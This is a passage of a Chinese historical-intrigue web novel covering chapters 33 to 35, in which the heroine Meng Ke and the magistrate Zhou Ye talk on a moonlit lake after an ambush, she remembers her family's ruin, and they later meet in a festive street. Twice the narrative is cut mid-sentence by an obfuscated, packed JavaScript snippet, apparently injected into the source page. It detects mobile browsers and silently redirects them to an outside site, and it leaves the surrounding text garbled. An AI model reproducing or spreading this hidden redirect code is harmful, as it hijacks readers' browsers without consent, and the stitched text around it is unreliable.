孟珂道：“当公子离开思园的时候，我就吩咐人，通知了熹园的大夫，也准备了解毒、救命的好药。在当时，这是诚心想帮忙。” “后来嘛，看着眼前的陷阱，我知道你会发现我这边出了问题。有预先做的这个人情，公子你即便因为前两次的事，犹豫了，怕被骗了，也不好意思不来看看。” “如果我不需要大夫就救回那两人，也没收到消息呢？” “我自然也会发信号弹。出了事，衙门总不能不管。怎么也是大人你的职责，你也得为自己可能有的麻烦考虑不是？我还……” 她又顿住了，“总之……我自有保命的法子。” “行行行，知道你能干。”周冶笑着摇头，再听下去，就是专程给她机会展示智计了。 孟珂垂下眼眸，自嘲地笑笑：“我知道，今夜会吃苦头，会陷入险境，但应该死不了。” “一个姑娘家，只要不死就行吗？” 话一出口，他又发现有什么不对，“这死不死的，也能是你的一种打算？” 若是别人，这只是随口说的没有意义的字眼，但她口中说出来，却有种谋算既定的感觉。 *** 这时，两个人吵吵嚷嚷的声音由远及近而来。 一个女人的声音道：“谁要你救的？” “我救了你！”男人的声音明显气闷，“我还多事了？” 只见是回雪和侍剑从暮色中走了出来。 回雪道：“你就是多事了！要不是你，那些人能那么快发现我不是小姐吗？害死我家小姐，你担得起吗？” 侍剑：“我那不是怕你……怕你家小姐出事吗？” “有你这么傻的吗？哪有小姐先跳车，替丫头引走追兵的？” 侍剑气结，瞪着回雪，脸都憋红了，半天才挤出一句：“只是因为追得太紧，才被看见了而已。” “尽会坏事！” 丢下这一句，回雪朝小姐飞快地跑了过去，“小姐你怎么样了？” 侍剑追上来：“你们熹园的女人怎么一个个都……” 周冶假装咳嗽了一声，侍剑闻声住了口，悄悄一脚踹飞了脚踩的小石子。 周冶对孟珂道：“你的大夫也在衙门，就一起先回衙门去吧。” 孟珂点点头：“也好。” 回雪就要走到小姐面前，周冶已经一抬手，将孟珂抱上了马去。 33. 月夜 思园，莲池边。 梁夫人气得头直发昏：“周冶？衙门里和外头同时起事，他竟跑出去救人！他吃错药了不成？” 她事先就确认了，孟珂今夜没带人，府外也没埋伏，多好的机会，竟这般错过。这次打草惊蛇后，再想出手可就难了。 树影下，一个男人道：“要不是他横插一脚，我们必已得手。” 梁夫人恼火地嗤笑道：“只需要看着她死了，他自己也能松一口气。但凡胆子大那么一点点呢，没用的东西！就会吃喝玩乐，坏事倒是把好手！” 孙嬷嬷道：“他和熹园那位……闹归闹，毕竟不是什么不死不休的仇敌，事情出在他的地方。卢府追究起来，他终究脱不了干系。除非是死在外头，怪不到他头上！” 梁夫人横了她一眼，满脸的“要你多嘴”，转头对那暗影中的男人道：“好，辛苦兄弟们了，也替我带个好！” 等那人走远，她又骂了句：“没用的东西！” 孙嬷嬷呼吸一滞，也不知这是还在骂周冶，还是方才离去的男人，又或是连她在内的……所有人。 她讪笑着道：“夫人也不必过于忧虑。就算她真是那个人，也没什么。不过一个寄人篱下的孤女而已，卢府能多在意呢？真出了什么意外，只要不让人抓到把柄……还不是闹腾一阵，兜得住面子就完了，谁还认真呢？” 梁夫人看了她一眼，徐徐吐出一口恶气：“她总归背靠这棵大树，万事都要小心些。不过，你说的也没错。” “这又是养女，又传什么爱妾的，还说什么捏着外人求事的门道......看起来是百般恩宠，既有情分，又有实权。可想想就知道，越是外面看起来热闹，就越是个空架子。” “若这养女得宠，又何必还要委身于人？说出去好听，还是能抬成妻妾？真当女儿宠，自然要为她考虑，维护她的名声，嫁与京中王孙贵胄——哪怕只是用于联姻呢。可卢府显然没有。” “若她当真是上不得台面的爱妾，又何必还受累去管外头的事？到底是她执掌了外人求事的门道，还是卢府推了个分量足够，又容易舍弃的‘自己人’来充门面，以便日后切割？” 她哼笑一声，“那卢中书是何等人物？步步为营，老成谋国之人，是她一个小女子能拿下，还处处占得了好的？” “她每多一个身份，身上每加一个砝码，就说明她弱势一分。为求栖身，只能使劲浑身解数，向卢府证明自己有这样、那样的价值，不被……晚一点被弃子而已。” *** 回到县衙，大夫给孟珂诊了脉，并无大碍。 回雪替她更衣，脱了一看，到处淤伤，心疼地道：“小姐，今夜这样还是太冒险了。临走之前，那谁赶来冲咱们狂使眼色了，小姐还去......” 孟珂扫一眼身上的伤，笑道：“这算得什么？” 别说没伤筋动骨，便是粉身碎骨又何妨——只要值得。 又道，“不过，今夜让她跟着担一夜的心了。这样，你晚点再跑一趟，让她安个心。告诫她千万得稳住，今后有的是比这凶险的时候，可别像今夜一样贸然行事。” 顿了顿，又补了一句，“那人是个手毒的，她若暴露，只怕要危及性命。” 回雪素日知道她是个疼惜下人的，心中不由还是一动：“明白。” 夜已深，还出了这样的事，衙门派了一队官差，送小姐和大夫回熹园。 前门车马喧嚣的同时，偏门走出了两个人影，从湖边划出一爿轻舟来。 孟珂看周冶有模有样的，笑道：“真看不出，公子还会划船呢。” 周冶陡然被夸，还有点不好意思，自己先忍不住笑了，却还要装高傲：“我会的东西，多着呢。” 孟珂点头：“嗯，会划船，会骑马，应该还会……赶大车之类的吧。” 周冶划桨的手一停，一口气堵在胸口，想想她好歹算个伤患，今夜便不与她计较了。 重新落桨入水，却不小心手重了，溅起一片水花来，洒了孟珂一身一脸。 孟珂嗔道：“你故意的！” 周冶索性头一昂，认下了：“我就是故意的怎么了？本公子大半夜不睡觉，给小姐你当船夫，也是开天辟地头一回了。这世上还没人享受过这礼遇。小姐要嫌弃……” 说着，朝湖里一歪头，“这船没上锁，湖上也没盖子，你游回去啊！” 孟珂却没回怼，倒怔愣了，半晌，又苦笑了笑。 周冶反倒奇怪了——她还能找不出话怼他不成？ 他们二人这是明修栈道，暗度陈仓：熹园的马车里，是大夫带着两个垂危的人犯，连回雪也一并跟着，以便沿途应对。 故而，今夜他虽救了她，她好歹也帮了他，也不是小忙。她没什么好忍气吞声的——也不是那脾气。 只见孟珂身子往船舷歪去，手往湖里一伸。 周冶忙惊呼一声：“我开玩笑的——” 孟珂扫了他一眼，笑了。 周冶自然不会知道，他那句话，无意间触到了她一根什么样的心弦。 她斜倚着船舷，伸手在那随着船身漾开的水波里，一波又一波地轻拨慢拂——寒冬腊月，水自是透骨冰凉，可她仿佛没知觉似地。 周冶忍不住道：“这水多冷啊，仔细受寒。” 孟珂也没看他，带着些淡淡的笑意，自言自语似地道：“你知道，人在真正冷极了的时候，是什么感觉吗？” 怎么才算冷极了的时候？周冶自然不会平白去试。 孟珂显然也没觉得他能知道，自顾自道，“冷极了的时候，你就不觉得冷了，甚至不觉得僵，直接就失去知觉了。” “之后呢？” “之后，你就会发现，身上的皮肤发红、发痛。” 她经历过这种冷到失去知觉的状况？周冶心道，会是什么状况呢？ 只见她拨弄着湖水出神，半晌，幽幽地说了句：“我游过的。” 周冶“啊”了一声，第一瞬没反应过来，她答的是他那句“你游回去啊！” 他半晌才道：“就在这样的天气？” “就在这样的天气。” 为什么呢？周冶正想问，却见她抬眼看向远处，吁出一口长气：“今夜的月色，真好。” *** 周冶顺着她的目光，也抬眼看去。 果然，月似弯钩，清光泼洒在水面，满眼碎银。 湖面一平如镜，明月稀星与湖光碎银，两相映照，你中有我，我中有你，难怪叫镜月湖。 再看孟珂，她抬手支颐，半躺在船头，看向远处。 微风拂过，她丝滑的鬓发轻轻扫过面颊，仿佛一只温柔的手，又像一张半隐半露的黑色面纱。 不知是夜太深，人有些困，还是这月色与湖光太美，似幻似真。他看着眼前人，竟有些恍惚。 两人都没说话，只听着木浆有节奏的破水之声。 广阔的水面上，只这一叶孤舟，两个人影。 周冶陡然有了一种，分外亲近之感。 难怪人们说百年修得同船渡，不说修得同车坐。原来，同船而渡，真会生出一种天大地大，只此二人命运相连、互相倚靠之感。 想是因为人在地上是安全的，坐车并无危险之感。可换到了必得靠舟楫可渡的水上，便会有一种命运不由己的不安，得抓取同类的需求。 在这孤舟之中，他尤其觉得，她今夜有点不一样。 跟思园里横扫宴席的气场大开不一样，跟那燃烧的马车上那份凛然无畏不一样，此刻的她，脸上虽一平如镜，可分明漾着一种含混不清的……悲意。 她此刻的身影，有一种难得的……孤寂。 一种超越了难过、悲伤，有种心沉到底，心如死灰到极致的孤寂。 孟珂觉得有点累。 终于确认了心里的最后一丝疑虑，可以抛下最后一缕顾念，她却发现，心里竟扯出些丝丝絮絮的难受。 她本不该有的。 这些年，已经见识够了人性之幽暗，为什么还要难受呢？不，也不算难受，而像一种……佛看众生的悲悯。 悲悯霍茹蕙，悲悯曾怀义，也悲悯她自己。 为何，他们每一个人都不能好好地生活？ 为何他们不去看星星，看月亮，去看这湖光山色，去看那风吹云动？ 为何要把生命花在这些无谓的争斗之上？ 她悲悯这世间之人，为贪嗔痴，为五毒六欲，为七情八苦所困。 她早早就做出了选择，但偶尔，心里还是会冒出这样不该有的傻念头来。 不过，念头就如这波浪，会起，就会伏；会来，也就会走；看见它，便看见它，任其自然消散便是…… 她在这镜月湖边长大，湖和水，也教会了她很多。即便离开多年，她的心中，也早就有了那么一方，属于她自己的湖。 *** “周冶。” 声音很轻，像从很远的地方飘来。周冶几乎觉得是自己错觉，含糊地“嗯”了一声。 好在，她继续说了下去。 “你有没有听过一种说法，月亮，会割人的耳朵。” 周冶一怔，笑着摇头：“没有。” 孟珂也笑：“我小时候相信，月亮会割耳朵。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16999130|193939||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 她从出生起，就是不好睡的孩子，入夜就哭，要人抱着走动才行。一直到了几岁上，奶娘也常在夜里背着她，在院子里走来走去，说着话哄睡。 她至今都记得，自己伏在奶娘背上，忽而抬眼看着天上有个亮亮的东西，不由奇怪，明明都走了几个院子，它怎么还在那儿？ 她指着问：“那是什么？” “月儿。”奶娘道。 她死盯着那东西看，更奇怪了，它明明一动不动，为什么她们走到哪儿，它就跟到哪儿？它到底是怎么跟着她们走的呢？ 母亲在一旁笑道：“不要指月儿，会割耳朵的。” 长大了自然知道，民间也许是有这种说法，但母亲那么说，只是不想让她老睁眼看，不睡觉罢了。 孟珂笑道：“我自然信了。夜里不敢一个人往院子里走，总觉得它在悄悄跟着我，等着割耳朵。一个人的时候，恨不能飞跑进屋。” 周冶也笑。 就她这样的，儿时居然这么胆小。 不过，想想也是，她原就该是被捧在手心、爱宠着长大的，就跟京中那些高门小姐们一样。 *** 想到此，周冶由衷道：“小姐身上，有一股将气。” “什么将气！” 孟珂一听笑了，但眼睛却旋即发胀，几乎要落下泪来。不过是把自己当成了死人而已。无惧，自无畏。 不过，他这话倒也没错。将气，将军之气，无非是悍不畏死，绝不后退；浴血奋进，仍一往无前。 周冶又问：“你…..就没有后怕，劫后余生之感么？” 孟珂看了他一眼，笑得一脸苍凉。 她怕的东西可多了。 儿时，她是那种有点娇气的小姑娘。她怕花上的虫，怕草里的蜈蚣；玩秋千怕摔，爬树上坎怕高；学游水的时候怕水，玩雪的时候怕滑……学好些东西比同龄孩子都慢，都晚。 就连吹个火折子都怕，半天才鼓起勇气凑上去吹一下，火起的瞬间，立马就远远地扔了出去。 她曾看着母亲一脸“到底有什么可怕”的无奈。 她也清清楚楚地记得，害怕这种东西，是怎么没的——不是慢慢没的，只在一念之间，就消散了。 等她经历了那一夜，重新站在悬崖边上的时候，往下看一眼，身子顿时发酸发软。 她清清楚楚地记得，那一刻，心中无端冒出个念头：死就死吧。 这个念头冒出的那一瞬，她也明显看见了心头另一个念头——死了，也不坏。 不，倒更好些——死了，就不必再苦了。 那时，她还不知道世间不乏将死视作解脱的人，也更不知道有所谓的脱离苦海一说。只是，突然就悟了。 于是，她看着那让她身子酸软的悬崖，抬腿迈出了第一步，第二步…… 就这样，仅仅一念之间，所谓害怕那东西，倏地就散了，从此再没阻拦过她任何一步，也再未延误过她一瞬。 自然，它也许一直都在，只是再也不会影响她了。 怕，或不怕，都不重要。她知道自己会毫不犹豫地一往无前，也知道自己可以做到，没什么能阻拦她，或拖住她一时半刻。 过去害怕的那些事，忽而成了她逐个清扫的障碍：拿火折子来吹，稳稳地燃在眼前——死不了。 去爬树，一步一步蹬上去，自然也曾摔下来，但结果一样——死不了。 ...... 就这么一件件做下去，找一切曾让她害怕的事来做，没一件会死，没一件能让她一了百了。 自此，不管前方是悬崖，是高山；是烈火，是巨浪；是猛虎，是饿狼……只要该做什么，她连想都不想，直接便做了，眼睛都不眨一下，只稳稳地做一切该做之事。 她这才发现，自己学什么都不慢。相反，她的脑子很快，什么都一眼就会。 就像扫清一切可怕之物一样，她又开始去学所有东西，一样又一样......她每多会一样，就像多了一块砖，一片瓦，让她可以为那个孤女慢慢建起一间遮风避雨的小屋。 从那间小屋开始，她建起围墙，挖出护城河，庇护之所越来越大……她也收罗筛选出一些人，放在远近不同的位置，为她所用。 渐渐地，她有了如今坐镇其中，运筹帷幄之感。 只是，今夜忽而回首一望，谁曾想，当年那个娇气的、什么都怕的她，竟长成了这样。 那个柔顺的，娴静的，被认为会成为贤妻良母典范的她，长成了如今模样…… 将气？她笑着慢慢闭上了眼，睫毛根处，有不易察觉的浅浅的湿润。 34. 母亲 周冶问的那句话，就像一粒小小的石子入水，连水花都没溅起就沉了。可那漾开的涟漪，却一圈又一圈，慢慢扩散开了去。 孟珂脸上的那个笑，就那么扩散到了他看不见的地方。 她久久不语。 他也不打扰。 想想也是，害怕的人，总得有得庇护。而退缩的人，得有地方可退。无人顶在前面，也无处可退，孑然一身，又哪有怕不怕可言呢？ 周冶道：“是我问得……唐突了。” “无妨，”孟珂睁开眼，淡淡地扫了他一眼，“与公子无碍，只是......想起了一些久远的人和事。” 经历过那样突然的巨大变故，蜕变必不是什么乐事，背后定然满是不足为外人道的苦。若有得选，谁又愿意呢？他心下不由也升腾起一丝好奇——如果没有那些事，她如今会是什么模样？ 只听孟珂笑问，“那你呢，公子你可有什么怕的？” “我？”周冶垂下眼眸，顿了顿，说道，“我这人……怕聚散无常。” “巧了。” 她笑道。 聚散本无常，还有什么可怕？ 只是，有的人因此而愈加在意这无常，喜聚，而不喜散，即便欢声笑语之时，也怕人走宴散的一天。 而有的人，早就接受了这无常。既然终归要散，独行才是常态，只是也因此从不曾真正欢聚过——离得再近，心上也早留出了距离；聚得再欢，也已做好了离散的准备。 她没有说下去。但周冶看着，那个笑里分明带着“有什么可怕”的意思。 见她又闭上了眼睛，周冶打破了沉寂：“今夜，牢里的情况，是俞书吏最早发现的。” 但凡发现得晚那么一点，那两人连施救的机会都没有。 孟珂点头，仍闭着眼：“对。临近封印，人心难免松散。今日这城中人物都被请去了思园，各处自然更松，是个不可多得的下手时机。” 俞用之父子果然都是她的人。 这就对了。她心思如此缜密，在来绥陵之前，必定做了充分准备，查过了所有能查之事，也必会在需要的地方都安插人手。 当初查霍家案卷，想必也是在她的授意之下，俞家父子才放消息给他，不过是借洗墨的手，把事情做得自然些罢了。 他早隐约猜到，只是没想到，她承认得那么痛快。不过，她连自己身份也承认得痛快，便也不足为怪了。 她这人倒也真妙，极致地隐藏，同时又格外地坦诚。 无需说的，她只字不露。 而需要说的，瞒不住的，她便坦诚直言——不管那是黑的、白的、灰的...... 尽管自己几次被她误导、欺瞒甚至利用，他心中并不曾真正恼火，甚至对她心生敬服，便在于她的分寸拿捏之精，也因为她的坦诚——让你无法置喙的极致坦诚。 她自己都该认的认了，顾己也顾人，事情做得漂亮极了，你还有什么可说？ 孟珂又道：“不过，我料想他们今夜必会动手，还是因为刘宝这只瞎蛾子。他不像郑氏，完全不知此事深浅，就放话知道当年秘事。不管他真知道假知道，多留他一日，便多一分危险，他们可等不得。而今夜，便是他们的第一个机会。” 周冶笑了，当初收押审问刘宝之时，自己做得也谨慎了，可她也是清楚的。 同她越接触，周冶便越惊叹于她的智计之深，思虑之周，筹谋之全。 他也算见过不少聪明人，但举凡聪明人，一旦觉得自己聪明，就有了最大的弱点——自恃聪明，便生傲慢，把别人当傻子。有了这样的傲慢，必然就有疏忽，谋事便不周密，行事也要出纰漏。 但她不是。 她不把自己当聪明人，更不把别人当傻子。她心中有一杆秤，掂量对手的准确分量，甚至为保无虞，还多留些空间，多预备一份应对。 她的那份极致坦诚，既是对人，也对己，故而不欺人，也不自欺。 既是对人，也对事。这让她没有声名、形象和能耐的包袱，从不试图证明能耐，也从不试图表现得聪明。 她可强可弱，可跋扈可明理，只要需要，她可以千变万化。但在这些变化中，万变不离其宗的那个宗，还在。故而，够笃定。 这个女子，是远在聪明之上的。 越了解，他也就越好奇——在这样的年纪就拥有这样的大智，到底是天生之才，还是……练蛊所得。 *** 周冶沉浸于自己思绪中的时候，孟珂闭眼听着木浆的水声，一下又一下，正适合禅定。 今日在思园见了姨母，她陡然明白了，母亲当初让她改道去京城的真正原因。 那一夜，眼见着梁家大宅在眼前毁去，救无可救。她在水里漂着，耳边仍能听见火烧木料的噼啪声，落入水中的滋滋声，墙垮壁塌的倾圮之声，可她心中却万籁俱寂，一如死灰。 她一翻身，就将头埋进了水里。 一会儿，水下轻轻冒出几个泡泡，一会儿，又几个，她翻身入水前的最后那一小口气，慢慢就要吐完了...... 而她脑子里，在走马灯似的飞过好多画面：母亲半夜将她叫醒时的脸，难得地亲手给她穿衣的样子，不想让她多疑但明显担心的复杂眼神；还有奶娘临死前，又急又忧的眼神，那朝着她高高抬起的手，像是徒劳地抓取什么，又像是指着什么…… 孟珂下意识地看了看自己胸前…… 等等，如果她不是死前的无意识挣扎，如果她真是指着什么重要东西？ 对，母亲给她穿好衣后，还在门襟处拍了拍......好像就是同一个位置！ 难道……她们都在提醒她什么？ 衣服门襟……难道那件衣服里有什么古怪？ 她猛地一翻身，喘过气来，飞快地游上岸，跑向她脱衣下水的地方。 那件衣服是母亲亲手缝制的，还对她说，这衣服费了她多少工。就冲她费的这些工，以后即便旧了、穿不上了，也得给她好好收着。 从小到大，母亲亲手给她做的东西也太多了，可从没这样看重，额外叮嘱过她。 一定有蹊跷。 她一路跑，一路想，又一路担心，衣服到底还在不在。自己当时胡乱脱了甩开，也不知甩到了哪里，有没有人刚好经过捡去。 就这么一路飞奔而至，在黢黑的湖岸边草丛里，水边，一件件寻，一件件捡，等终于找到那一件，那提着的一颗心才好歹放了下来。 她忙提起来，在门襟处细细地摸。门襟厚实，虽不明显，但细细摸着，有一处是与别处不同，略硬些，像是藏了东西。 她抬手从头上拔下钗子，去挑那压缝的线头。可那门襟的刺绣细密，其针脚之实，轻易根本拆不开。她急得拿簪子去挫，拿牙去咬，也无济于事。 徒劳地折腾了一会儿，她停了下来，穿好衣服，一路跑，一路看，直到天蒙蒙亮，才找到几户农家——院子里胡乱摆了些农具。 她瞅了一家没有狗的，钻篱笆进去，摸走一把镰刀，一口气跑到野地里，瞅着四下无人，才去割那衣襟。 果然，层层缝密实的布料里掏了个空，藏了一枚吊坠大小的祥云如意玉锁，还有两个油纸封好的管状卷纸，其中一个上写着婉婉二字。 她忙拆了看。 天徐徐亮了，绥陵城中，人们一波又一波涌去看梁家火场的时候，云鬓山的山路上，有个身形极细弱的清秀少年正在离开。 那少年走到半山亭处，走到崖边，远远望向绥陵城的方向，不多时，便转身决然而去…… ***35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16999131|193939||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 这些年，她以为自己很清楚母亲让她投奔卢家的原由。 梁家遭逢了大难，姨母家便也不安全了。不管是逼问也好，打听也罢，那些人要知道她的行踪并不难。他们很可能追去陈家，她很可能会被斩草除根；甚至姨母一家也可能因她而受牵累。 让她去一个梁家素无往来、极少有人知道其关系的地方，才是两全之策。 又有道是，“惟有王城最堪隐，万人如海一身藏。”只要她少抛头露面，那些绥陵旧人，一生都再难得见。 然而，直到今日，她重见姨母，以一个大人的眼睛，重新看姨母这个人，才明白了母亲这一安排，还有更深之计。 她母亲柯令虞，一生被保护得太好，至死都单纯得像个孩子。不，她甚至比孟珂这个当时真正的孩子还要天真太多。 柯家二小姐靠着好运，得父母偏宠，得丈夫疼爱，幸福了前半辈子，却也因噩运降临，猝然而去。她的一生，就活了个随波逐流，没一点自己的方向，也没有一点自保、保人之力。 但在临死之际，也许是灵光乍现，也许是神佛庇佑，她清楚地知道：她们柯家姐妹俩是一样的——在太平之时，可爱护孩子；但遭逢危难，便是砧板鱼肉。 对女儿来说，姐姐柯令秋，是个再好不过的母亲。即便粱家没了，她成了孤女，姐姐只会更疼她，更宠她，将她照顾得无微不至，大概做得比她自己还好。 姐姐是个好母亲，但也只是一个好母亲——她护不住女儿，也教不了女儿自保。 对一个孤女来说，她需要的是一个有能力、有手腕的人，一个通晓世事，能在人心鬼蜮中活下去，还活得好的人。 只有那样的人，才护得住女儿，也才能教给她在这个世上活下去的，足以自保的本事。 母亲大概攒下了她这辈子所有的智计，一次性花在了给她备的这条后路上——选了人选，将信物暗中交给了女儿，并秘密嘱托了奶娘。没想到，奶娘被一刀封喉，一个字都没来得及说便倒下了。 幸而，孟珂及时反应了过来。 若不是那一念之光，她此刻定然已是白骨一副...... 这些年来，她以为自己已经心如铁石，可今日猝不及防地看到姨母，她才发现，自己还是会失控的。 她也以为，自己对翻来覆去琢磨过千百次的旧事，已经波澜不兴，可今夜骤然明白了母亲那一生一次的筹谋，她才发现，自己还是禁不住暗流涌动。 看来，她还是高估了自己…… *** 周冶看她一直闭眼躺着，以为她睡着了，忽而，却扫见她眼角荧光一闪，仿佛湿了。 他还以为是自己看错，可再一看，一缕清泪，顺着眼尾，滑过太阳穴，没入她如云的鬓发。 只一缕。孟珂没动，连呼吸都不曾有异，仿佛根本不曾发生一样。 周冶手上顿了顿，一时也拿不准她是梦是醒。 听到桨声停了，孟珂缓缓睁开了眼睛。 周冶才道：“你……没事吧？” “能有什么事？”孟珂的声音冷得如冰。 周冶指了指自己的眼角示意。 孟珂抬手擦了擦，放在眼前一看，带着似有若无的笑意：“分明是你桨上带起的水花。” 周冶一顿，又点了点头：“是，是我激起的水花。” 说完，看着孟珂不语。 孟珂奇怪道：“你看什么？” 周冶道：“都说人闲长指甲，心闲长头发。你的心，比谁都不闲，怎么也一头乌发如云，还亮滑如丝呢。怕不是什么山精水怪变的？” 孟珂笑了：“那可不能告诉你。” 说着，往水里一瞥，“不过你最好当心点，哪天本小姐心一狠，把你拖下水去。让你当个水怪。” 35. 来客 衙门封印了。但年节里防火，防盗，需要当心的事情也不少。这日，周冶做好了安排，又派了赏钱，这才将人散了。 洗墨见他怏怏的，提议出去逛逛。 周冶想着，也好，这些日子以来，事情没办成几件，但成日都没闲着，尤其心不闲，也该松散松散了。 一出衙门，迎面而来的热闹景象倒让他一愣。 洗墨笑道：“公子这是忙得忘了日子？今日是小年啊！瞧，大家都忙着备年货呢？” 果然，店家都披红挂彩，街头也摆了各种年节之物，有过年的喜气了。 逢年节，自思归。洗墨问道：“公子，咱们真不回京城过年？就咱们几个在这儿，这个年……未免太过冷清。” 周冶笑道：“又不是头一次不回去。” “那能一样吗？之前要么是萍踪不定，要么是赶不回去。如今这明明有时间，回去也不费事，”洗墨看着他的脸色，小心地道，“老爷那边……” 周冶哼笑一声：“这就更不用担心了。往年不回去，他有话说，今年却没话可说。” 侍剑奇怪道：“这是为何？” 周冶收了扇子，一人敲了他们一下额头：“这你们就不懂了。虽说封了印，但按朝廷律令，县令过年是要值守的。” 侍剑摸了摸头：“还有这规矩？” 洗墨笑道：“小的也没当过县令，哪知道这啊。” 说着，他四下看去，“那咱们也要预备预备了，就几个人也要过年不是，也不能太冷清了。” 突然只听得侍剑“咦”了一声：“那不是……” 周冶也看见了。 熙攘的人群中，有个熟悉的身影，正是孟珂。 她带着回雪和五儿，主仆三人正闲逛着，看来也是凑这份独属于年节的热闹。 回雪边走也边问：“小姐，咱们真不回去一趟？府里都来几封信了。眼下也没什么要紧事，要不还是回去待几日？您面都不露一个，老夫人得多挂记啊！” 话没说完，孟珂就停下了脚步。 周冶站在川流不息的人群里，正定定地看着她，见她看过去，便遥遥地冲她点头一笑。 原本的一主二仆，变成了二主四仆。 洗墨机灵，几步上去，夺过回雪和五儿手中的年货：“回雪姐姐，来，我帮你拿，可别累着姐姐，和这位五儿妹妹。” 说着，手上已经不着痕迹地掂了掂，将重的都塞到了侍剑怀里。 侍剑一把兜住了，去看回雪。两人那夜吵过，可回雪此时的脸色，仿若压根儿就无事发生。侍剑一时摸不着头脑，总觉得有点怪怪的...... 周冶扫了那些年货一眼：“小姐不回京过年？京中……家人可舍得。” 孟珂道：“大人不也要在绥陵值守。” 周冶点点头，又摇头笑道：“我与小姐不同。” 不回去，大家都高兴。 孟珂看了他一眼，见他有些心事的样子：“大人这是心情不太好？” 洗墨嘴快道：“这还不好，小姐您是没看到方才……” 正说着，肩膀就被把住了，一阵吃痛，忙改口道，“我家公子这是心系百姓。那句话怎么说的来着，先天下之忧……之忧……” “得了，得了，记不得就别勉强了。” 周冶丢开压着他肩膀的手，打断道。 “洗墨也不算瞎说。”孟珂笑道，“大人可不就是忧心政事。” *** 周冶有些无奈地笑。 还真应了陈万霆说的，在这封印之前，结了曾怀义案——以两个嫌犯的畏罪自尽，不了了之。但他心头，自然没有事了的轻松，反而沉重了。如今结案倒是容易，若是日后不能翻过来……虽不是有意，到底做了一桩冤假错案。 他自然立定了主意要翻过来。只是，当初高仲之案也好，后来的曾怀义之案也罢，都不能痛痛快快地查案拿人。做个朝堂上无人看得上的微末小官，就要顾忌这那，多般掣肘。刚开始，他倒还有些周旋的耐心，博弈的兴致。可时间长了，遇到这样的事多了，不免就有些心烦，有些事事不得舒展的憋闷。 孟珂停了脚步，目光笃定地看着他：“眼下并没有更好的选择。” 那日在思园，听说郑氏和刘宝性命垂危，周冶起身便走。 “大人！”孟珂叫住了他，走上前，低声道，“今夜，不论结果如何，不如就顺水推舟，乘势结案吧。” “已经先后给大人送上两个人犯了，大人还坚持着迟迟不结案，他们等不得了……即便能救下这次，能次次都救下吗？事缓则圆。好猎人都知道，待猎物放松警惕的时候，才容易入套。” 那一夜，他封锁了消息，将二人送去了熹园。 第二日，便以两具无人收殓的尸体，以二人的名义处置了。 他自然知道事情该当这么做，可心里难免有些不舒服。 孟珂道：“刘宝已经度过了危险期。他虽伤得重，但都是外伤，人又年轻，恢复快，应该没有大碍。郑氏，是要难些。她本来年纪就大，身子又弱，还是中的毒，伤及内腑。” 周冶道：“有劳小姐了。” 孟珂道：“我是在帮我自己。” 周冶点点头。 孟珂又问：“那夜的黑衣人，大人可有什么线索？” 周冶道：“一如所料，有黑石堂从旁协助，但那些训练有素的高手，既不是当日石头寨的地痞之流，也不是赌场、高利贷的打手之辈，普通护卫的身手也远不如他们，倒像培养的死士，可又还有些江湖气。” 孟珂点头：“老关——就是我那车夫，也这么说，寻常人可缠不住他。” 那夜能全身而退，一个活的都没抓着，实力的确不可小觑。 周冶停步看她：“你说，这一个梁夫人，加一个黑石堂，有那么大的能耐吗？再说了，他们何至于需要培养死士级别的高手？如果真是他们的，又是为了什么培养？” “据我所知，他们二人都没有。要么是藏得比你我想的还要深，要么……便是背后另有更强大的势力。”孟珂边想边道，“而这股势力，跟她和黑石堂到底什么关系......很难说。” 周冶点头。每一个大妖怪的身后，必有一方鬼神的庇护。而他们手中的厉害法宝，也往往大有出处。要不是她那日留空门来试，那些人没那么容易现身。她的以身为饵，倒是有些收获。 对！周冶心中一念闪光，转头去看孟珂——她那夜的目的，不只是梁夫人，还想钓出她背后的大鱼。 如果她的棋盘上只是梁夫人、黑石堂，乃至曾怀义之流，哪需要什么长期的周全筹谋呢？以她现在的身份、力量，对付这些人还不容易吗？她一定、也只能是因为，顾忌着这些人背后将牵扯出的、那盘根错节的大树。 *** 想到此，周冶知道了，接下来要起的，不只是一场绥陵风云了。 他看了看孟珂那细弱的身形，说到底也只是个手无缚鸡之力的弱女子，在卢府那潭深水中，毕竟也只是个依附于人的养女...... 他忍不住道：“有这些人牵扯进来，小姐......进出还是要多加小心。” 孟珂笑：“劳公子挂心。这光天化日之下，他们总不至于当街行凶。有时，我就喜欢看看街上的贩夫走卒，瞧一瞧这市井万民，看他们的苦，也看他们苦中的乐。看着看着，就觉得自己实在已经没资格抱怨什么。” 她有很多的不幸，但也有很多的幸运。又不是老天的亲女儿，哪能什么好事都摊给自己呢？ 看着眼前的不息人流，周冶却想起了另一桩事：“小姐就这般自信，这绥陵城中，就没人认得出你？” 孟珂笑了：“公子自然会奇怪，为何你能识破，而那些故人却只疑，但不能确认。” “其实，说简单也简单。正因为你不认识梁婉章。你不是认出的，而是看我做的事，判断出我应当是谁。你不认识，脑中没有既往印象，故而不受干扰，故人却不同。他们会去认，会去寻找我身上是否有那个人的旧日痕迹。而表象，却是最容易惑人的。” 说着，又故弄玄虚地笑道，“自然，也有一些特别的因由。比如，我独长了一张谁都不像的脸，没有故人之姿。比如，我自小爱静，深居简出，熟识的人本就不多。再比如，很多人不知道，人在未长成之时，突然改变水土，长此以往，体貌也会跟着改变。” 